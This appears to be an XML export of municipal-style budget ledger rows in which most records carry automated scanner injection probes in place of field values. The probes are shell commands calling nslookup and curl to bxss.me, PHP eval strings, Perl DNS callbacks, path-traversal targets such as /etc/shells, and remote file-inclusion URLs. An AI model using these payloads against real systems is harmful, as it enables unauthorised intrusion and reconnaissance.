<row _id="1"><ledger_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitakdireitvdd0066.bxss.me||curl${IFS}hitakdireitvdd0066.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitakdireitvdd0066.bxss.me||curl${IFS}hitakdireitvdd0066.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.print(md5(31337)).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>bxss.me/t/xss.html?%00</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>Http://bxss.me/t/fit.txt</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>";print(md5(31337));$a="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>HttP://bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.print(md5(31337)).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>bxss.me/t/xss.html?%00</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'.print(md5(31337)).'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>HttP://bxss.me/t/xss.html?%00</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup${IFS}-q${IFS}cname${IFS}hitkgwwnobpuk2cd1b.bxss.me||curl${IFS}hitkgwwnobpuk2cd1b.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>`(nslookup -q=cname hitjcbgzrztre78ca5.bxss.me||curl hitjcbgzrztre78ca5.bxss.me)`</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup -q=cname hitfhrcfytkzccbf6b.bxss.me||curl hitfhrcfytkzccbf6b.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup -q=cname hitcfqsgnnewecc7be.bxss.me||curl hitcfqsgnnewecc7be.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitcfqsgnnewecc7be.bxss.me||curl hitcfqsgnnewecc7be.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>HttP://bxss.me/t/xss.html?%00</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>";print(md5(31337));$a="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>c:/windows/win.ini</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>/etc/shells</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>HttP://bxss.me/t/xss.html?%00</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>gethostbyname(lc('hitdi'.'ckrxtgpm3691c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(116).chr(69)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.print(md5(31337)).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>".gethostbyname(lc("hitnn"."aveilwej42bcb.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(67).chr(121).chr(81)."</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}\</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'.gethostbyname(lc('hitjb'.'xzmrvosl004e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(76).chr(97).chr(79).'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>gethostbyname(lc('hitqk'.'jrbnxtuyf094c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(70).chr(97).chr(72)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>";print(md5(31337));$a="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>".gethostbyname(lc("hitsf"."okvvxlyhea221.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(73).chr(110).chr(66)."</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)|(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)&amp;(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>Http://bxss.me/t/fit.txt</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;nslookup -q=cname hitjyoayzkpsoc9240.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitjyoayzkpsoc9240.bxss.me&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me/t/xss.html?%00</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>$(nslookup -q=cname hitsyyrsrllpe6d1e1.bxss.me||curl hitsyyrsrllpe6d1e1.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(nslookup -q=cname hitfomytnmtxo94cd2.bxss.me||curl hitfomytnmtxo94cd2.bxss.me))</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>expr 9000133962 - 963035</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.print(md5(31337)).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>http://bxss.me/t/fit.txt%3F.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|echo dyvsgk$()\ fisxqv\nz^xyu||a #' |echo dyvsgk$()\ fisxqv\nz^xyu||a #|" |echo dyvsgk$()\ fisxqv\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}\</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>Http://bxss.me/t/fit.txt</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
